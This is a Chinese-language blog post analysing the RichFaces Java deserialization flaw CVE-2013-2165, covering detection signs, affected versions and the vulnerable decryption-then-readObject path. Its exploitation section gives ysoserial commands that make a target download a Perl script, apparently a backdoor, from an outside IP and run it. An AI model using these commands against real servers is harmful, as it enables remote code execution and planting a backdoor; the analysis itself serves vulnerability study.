RichFaces反序列话漏洞——CVE-2013-2165

0x00 前言


  本来想学二进制来着,java又出了那么多漏洞,身为一个web安全狗,还是学Java web吧,几乎0基础,大牛请跳过。碰巧工作中遇到实例,就尝试简单分析一下这个(很水的一篇文章四处摘抄,就是想立个flag开个头)。

0x01 基础详情

在讲述之前先简单介绍一下java反序列化的一些特征。
黑盒测试:

  1. rO0AB #数据包中有以base64开头的数据开头含有ro0AB yseriol生成的payload转换而来 cat payload.out | base64 -w 0 > payload.out.b64
  2. aced 0005 #数据包发送时16进制查看时含有的特殊字符 如果是http数据包含有 sr 等字符
  3. content-type:application/x-serialization 带有序列化头说明了它是是序列化数据 白盒测试:
    writeObject 序列化是用于将对象转换成二进制串存储
    readObjec 将二进制串转换成对象

再来看下RichFaces任意java反序列化漏洞
影响版本:RichFaces 3.x ≤ 3.3.3 and 4.x ≤ 4.3.2 修复版本:RichFaces 3.3.4 and 4.3.3

RIchFaces存在的漏洞的和利用方式    #因RIchFaces16年不再维护,所以用最新的rf-143应该可以打下
RichFaces 3
3.1.0 ≤ 3.3.3: CVE-2013-2165
3.1.0 ≤ 3.3.4: RF-14310
RichFaces 4
4.0.0 ≤ 4.3.2: CVE-2013-2165
4.0.0 ≤ 4.5.4: CVE-2015-0279
4.5.3 ≤ 4.5.17: RF-14309

0x02 漏洞分析

本地环境 mac + idea2018.01 + tomcat7
angryseam.war
相关jar包 #导入相应的jar包
我们先简单看下漏洞详情 因为我使用的是RichFaces3.x,所以针对3.x来说,在请求资源的时候,会进入ResourceBuilderImpl.getResourceDataForKey(String)来进行处理,如果请求资源以/DATA或者/DATB为开头,数据会被ResourceBuilderImpl.decrypt(byte)解密,然后进行相关反序列化。 在org.ajax4jsf.resource.ResourceBuilderImpl中232行getResourceDataForKey函数中。 将传递过来的key解密,后续传入readobject造成反序列化造成命令执行。 richfaces库默认处理a4j开头的路径资源然后将/a4j/g/3_3_3.Finalorg/版本信息移除

/a4j/g/3_3_3.Finalorg/richfaces/renderkit/html/scripts/skinning.js/DATA/xxxx 

然会将资源传入getResourceDataForKey并将DATA后面的解码 构造payload时 我们只需要调用该方法下面的encrypt即可 具体poc相关代码如下 利用方法:

先用ysoserial生成相关payload
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "wget http://74.121.151.89/123344/back.pl -P /tmp/" > payload.bin
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "perl /tmp/back.pl" > p.bin
然后执行hello.java生成加密后payload,再访问即可
http://localhost:8011/seam/a4j/g/3_3_3.Finalorg/richfaces/renderkit/html/scripts/skinning.js/DATA/your-payload

RF-14310: Arbitrary EL Evaluation

容我先发出来,先学一波java,后续补充。 其他参考链接如下:

http://www.polaris-lab.com/index.php/archives/567/
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://github.com/federicodotta/Java-Deserialization-Scanner/releases
http://vnprogramming.com/index.php/2016/10/10/web500-hitconctf-2016-and-exploit-cve-2013-2165/
https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html
https://bl4ck.in/vulnerability/analysis/2018/03/28/Attack-Seam-Framework.html

# 转载请注明:whynot » code-audit

打赏一个呗

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦